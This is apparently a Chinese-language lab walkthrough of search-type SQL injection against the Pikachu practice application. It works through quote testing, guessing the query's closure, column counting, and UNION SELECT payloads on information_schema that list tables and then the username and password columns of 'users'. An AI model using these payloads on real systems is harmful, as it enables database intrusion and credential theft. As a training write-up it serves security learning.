搜索型注入
搜索vince
测试该传参点是否可以注入
搜索vince’看看能不能注入
说明这个传参点可注入,并且返回了部分代码’%”
说明源代码不是使用”闭合的。猜测源代码的闭合方式’%username%’
猜测源代码的闭合方式’%username%’
使用语句:正确返回的内容 %’ 注入sql语句 #
and 1=1 返回正常,and 1=2报错,说明可以开始注入
尝试mysql联合查询注入
先判断字段数
当字段为4时报错,说明字段数为3。确定字段数为3
查询可回显位
说明字段1,2,3,都是可回显位
利用回显位查看数据库名,用户名,数据库版本
查库名函数database() 或者schema()
查用户名函数 user()
查数据库版本函数 version()
回显用户为root最高用户,数据库名为pikachu
知道数据库名后去判断数据库的表名、字段名
1.知道库名,先去查询表名
语句:vince%’ union select group_concat(table_name),2,3 from information_schema.tables where table_schema=‘pikachu’
猜测用户名应该存在users这个表下,所以我们需要去查users表下的字段名。
2.查users表下的字段名
语句:vince%’ union select group_concat(column_name),2,3 from information_schema.columns where table_name=‘users’
查询到关键字段名为username password
注意:这边的table_name=<‘table_name’>,表名一定不要写错。因为在information_schema.columns这张表下存储的是所有库的所有表的所有列信息,如果你写错了可能就查到其他的库下的表了。
我之前不小心把表名users写成了user就查到其他库下的表去了(下面一张图是错例)乍一看真看不出来,然后字段名是一样的后面就做对了。